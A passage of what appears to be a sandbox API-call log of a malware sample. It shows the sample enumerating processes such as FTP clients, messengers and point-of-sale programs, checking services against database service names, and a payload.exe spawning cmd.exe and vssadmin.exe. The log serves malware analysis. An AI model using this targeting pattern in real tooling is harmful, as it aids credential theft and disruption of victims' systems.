th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0042.543] lstrlenW (lpString="3dftp.exe") returned 9 [0042.543] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0042.543] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0042.543] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0042.544] lstrlenW (lpString="alftp.exe") returned 9 [0042.544] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0042.544] lstrlenW (lpString="barca.exe") returned 9 [0042.544] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0042.544] lstrlenW (lpString="bitkinex.exe") returned 12 [0042.544] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0042.545] lstrlenW (lpString="coreftp.exe") returned 11 [0042.545] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0042.545] lstrlenW (lpString="far.exe") returned 7 [0042.545] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0042.546] lstrlenW (lpString="filezilla.exe") returned 13 [0042.546] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0042.546] lstrlenW (lpString="flashfxp.exe") returned 12 [0042.546] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0042.546] lstrlenW (lpString="fling.exe") returned 9 [0042.546] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0042.547] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0042.547] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0042.547] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0042.547] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0042.547] lstrlenW (lpString="icq.exe") returned 7 [0042.547] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0042.548] lstrlenW (lpString="leechftp.exe") returned 12 [0042.548] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0042.549] lstrlenW (lpString="ncftp.exe") returned 9 [0042.549] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0042.550] lstrlenW (lpString="notepad.exe") returned 11 [0042.550] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0042.550] lstrlenW (lpString="operamail.exe") returned 13 [0042.550] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0042.922] lstrlenW (lpString="pidgin.exe") returned 10 [0042.922] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0042.923] lstrlenW (lpString="scriptftp.exe") returned 13 [0042.923] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0042.923] lstrlenW (lpString="skype.exe") returned 9 [0042.923] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0042.924] lstrlenW (lpString="smartftp.exe") returned 12 [0042.924] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0042.924] lstrlenW (lpString="thunderbird.exe") returned 15 [0042.924] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0042.925] lstrlenW (lpString="totalcmd.exe") returned 12 [0042.925] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0042.926] lstrlenW (lpString="trillian.exe") returned 12 [0042.926] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0042.926] lstrlenW (lpString="webdrive.exe") returned 12 [0042.926] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0042.927] lstrlenW (lpString="whatsapp.exe") returned 12 [0042.927] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0042.927] lstrlenW (lpString="winscp.exe") returned 10 [0042.927] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0042.928] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0042.928] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0042.928] lstrlenW (lpString="active-charge.exe") returned 17 [0042.928] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0042.929] lstrlenW (lpString="accupos.exe") returned 11 [0042.929] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0042.929] lstrlenW (lpString="afr38.exe") returned 9 [0042.929] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0042.930] lstrlenW (lpString="aldelo.exe") returned 10 [0042.930] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0042.931] lstrlenW (lpString="ccv_server.exe") returned 14 [0042.931] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0042.931] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0042.931] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0042.932] lstrlenW (lpString="creditservice.exe") returned 17 [0042.932] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0042.932] lstrlenW (lpString="edcsvr.exe") returned 10 [0042.932] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0042.933] lstrlenW (lpString="fpos.exe") returned 8 [0042.933] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0042.933] lstrlenW (lpString="isspos.exe") returned 10 [0042.933] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0042.934] lstrlenW (lpString="mxslipstream.exe") returned 16 [0042.934] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0042.934] lstrlenW (lpString="omnipos.exe") returned 11 [0042.934] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0042.934] lstrlenW (lpString="spcwin.exe") returned 10 [0042.935] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0042.935] lstrlenW (lpString="spgagentservice.exe") returned 19 [0042.935] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0042.936] lstrlenW (lpString="utg2.exe") returned 8 [0042.936] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="pending-chronicles.exe")) returned 1 [0042.936] lstrlenW (lpString="pending-chronicles.exe") returned 22 [0042.936] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="um-classroom-barry.exe")) returned 1 [0042.936] lstrlenW (lpString="um-classroom-barry.exe") returned 22 [0042.937] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="notebook.exe")) returned 1 [0042.937] lstrlenW (lpString="notebook.exe") returned 12 [0042.937] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="stable_platform_spend.exe")) returned 1 [0042.937] lstrlenW (lpString="stable_platform_spend.exe") returned 25 [0042.937] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="current.exe")) returned 1 [0042.940] lstrlenW (lpString="current.exe") returned 11 [0042.941] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0042.941] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0042.941] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0042.942] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0042.942] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0042.942] lstrlenW (lpString="taskhost.exe") returned 12 [0042.942] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0042.942] lstrlenW (lpString="payload.exe") returned 11 [0042.943] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0042.943] lstrlenW (lpString="cmd.exe") returned 7 [0042.943] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0042.943] lstrlenW (lpString="conhost.exe") returned 11 [0042.943] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x714, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0042.944] lstrlenW (lpString="vssadmin.exe") returned 12 [0042.944] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0042.944] lstrlenW (lpString="VSSVC.exe") returned 9 [0042.944] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0042.945] CloseHandle (hObject=0x204) returned 1 [0042.945] Sleep (dwMilliseconds=0x1f4) [0043.677] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x8fffc8 [0043.678] EnumServicesStatusExW (in: hSCManager=0x8fffc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0) returned 0 [0043.678] GetLastError () returned 0xea [0043.678] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x12c6) returned 0x974238 [0043.678] EnumServicesStatusExW (in: hSCManager=0x8fffc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x974238, cbBufSize=0x12c6, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x974238, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0) returned 1 [0043.678] CloseServiceHandle (hSCObject=0x8fffc8) returned 1 [0043.679] lstrlenW (lpString="Appinfo") returned 7 [0043.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0043.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0043.679] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0043.679] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0043.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0043.679] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0043.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0043.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0043.679] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0043.679] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0043.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0043.679] lstrlenW (lpString="AudioSrv") returned 8 [0043.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0043.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0043.679] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0043.679] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0043.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0043.679] lstrlenW (lpString="BFE") returned 3 [0043.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0043.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0043.679] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0043.679] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0043.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0043.679] lstrlenW (lpString="CryptSvc") returned 8 [0043.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0043.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0043.679] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0043.679] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0043.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0043.679] lstrlenW (lpString="CscService") returned 10 [0043.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0043.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0043.679] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0043.679] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0043.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0043.679] lstrlenW (lpString="DcomLaunch") returned 10 [0043.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0043.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0043.680] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0043.680] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0043.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0043.680] lstrlenW (lpString="Dhcp") returned 4 [0043.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0043.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0043.680] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0043.680] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0043.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0043.680] lstrlenW (lpString="Dnscache") returned 8 [0043.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0043.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0043.680] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0043.680] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0043.680] lstrcmpiW 